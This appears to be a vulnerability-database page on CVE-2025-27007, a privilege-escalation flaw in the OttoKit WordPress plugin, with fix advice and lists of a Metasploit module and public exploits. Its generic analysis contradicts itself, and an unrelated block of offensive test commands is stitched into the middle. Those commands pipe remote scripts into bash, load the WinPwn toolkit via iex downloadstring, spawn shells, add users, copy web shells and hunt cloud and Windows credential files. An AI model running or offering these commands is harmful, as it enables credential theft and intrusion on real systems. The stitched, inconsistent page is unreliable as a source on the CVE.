CVE-2025-27007
Overview
This vulnerability is an Incorrect Privilege Assignment flaw in the Brainstorm Force OttoKit plugin component suretriggers. The root cause lies in improper enforcement of privilege checks, allowing unauthorized users to escalate their privileges. The affected feature improperly assigns or verifies user permissions, enabling privilege escalation within the OttoKit plugin versions up to and including 1.0.82.
Vulnerability Description
Incorrect Privilege Assignment vulnerability in Brainstorm Force OttoKit suretriggers allows Privilege Escalation.This issue affects OttoKit: from n/a through <= 1.0.82.
Impact
An unauthenticated attacker can leverage this vulnerability to escalate privileges within the OttoKit plugin environment, gaining administrative-level access to restricted functions. This enables unauthorized modification of plugin settings, potentially leading to full site compromise or further lateral movement within the WordPress environment. The lack of authentication requirements significantly increases the attack surface, allowing exploitation by any remote actor without user interaction.
Solution
Upgrade Brainstorm Force OttoKit to a version later than 1.0.82 as recommended by the Patchstack advisory available at https://patchstack.com/database/Wordpress/Plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability?_s_id=cve. The vendor has addressed the privilege assignment issue in subsequent releases. Follow the vendor's update instructions precisely to ensure the vulnerability is remediated.
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Full Analysis
The vulnerability in question arises from an incorrect privilege assignment in the OttoKit suretriggers component developed by Brainstorm Force. This flaw allows unauthorized users to escalate their privileges within the application, potentially granting them access to sensitive functions and data that should be restricted. The issue is particularly critical as it affects versions of OttoKit up to and including 1.0.82, which means a significant number of installations may be at risk. The underlying technical issue stems from improper validation of user permissions, which can be exploited by attackers to gain elevated access rights without proper authentication.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage social engineering tactics to trick a legitimate user into executing malicious commands or scripts that exploit the privilege escalation flaw. Additionally, if an attacker can gain access to a lower-privileged account, they may be able to manipulate the application’s functionality to escalate their privileges. This could involve crafting specific requests that the application fails to validate correctly, allowing the attacker to execute administrative functions or access confidential data. The ease of exploitation, combined with the high potential for impact, underscores the severity of this vulnerability.
The real-world implications of this vulnerability are significant, particularly for businesses that rely on OttoKit for their operations. Unauthorized privilege escalation can lead to data breaches, where sensitive customer information or proprietary business data is accessed or exfiltrated. This not only poses a direct financial risk due to potential fines and remediation costs but also threatens the organization's reputation and customer trust. Furthermore, if an attacker gains control over critical administrative functions, they could manipulate the application to disrupt services, leading to operational downtime and further financial losses. The high CVSS score of 9.8 indicates that this vulnerability should be prioritized for immediate attention.
To effectively detect and mitigate this vulnerability, organizations should adopt a multi-layered security approach. Regularly updating the OttoKit application to the latest version is crucial, as it may include patches that address this privilege escalation issue. Additionally, implementing robust access control measures can help limit the potential for exploitation. This includes enforcing the principle of least privilege, ensuring that users only have access to the functions necessary for their roles. Organizations should also conduct regular security audits and penetration testing to identify and remediate vulnerabilities proactively. Monitoring user activity for abnormal behavior can serve as an early warning system for potential exploitation attempts.
In conclusion, the incorrect privilege assignment vulnerability in OttoKit represents a serious threat to organizations utilizing this application. The potential for privilege escalation poses significant risks, including data breaches and operational disruptions. By understanding the technical details, potential attack vectors, and real-world impacts, organizations can better prepare themselves to defend against such vulnerabilities. Implementing effective detection and mitigation strategies will not only protect sensitive data but also preserve business integrity and customer trust in an increasingly digital landscape.
Affected Products
No CPE information available.
Disclaimer
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Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
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WordPress SureTriggers (aka OttoKit) Combined Auth Bypass (CVE-2025-3102, CVE-2025-27007)
exploits/multi/http/wp_suretriggers_auth_bypass
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Michael Mazzolini (mikemyers), Denver Jackson, Khaled Alenazi (Nxploited) +1 | Unknown | - | View |
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| SureTriggers OttoKit Plugin 1.0.82 - Privilege Escalation | Abdualhadi khalifa | webapps | multiple | - | View |
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
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absholi7ly/CVE-2025-27007-OttoKit-exploit
exploiting CVE-2025-27007, a critical unauthenticated privilege escalation vulnerability in the OttoKit (formerly SureTr...
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absholi7ly | 2 | 0 | 2025-05-07 | View |
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
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Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
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sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
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References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2025-27007 |
| patchstack.com |
GitHub CVE
vdb-entry
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https://patchstack.com/database/Wordpress/Plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability?_s_id=cve |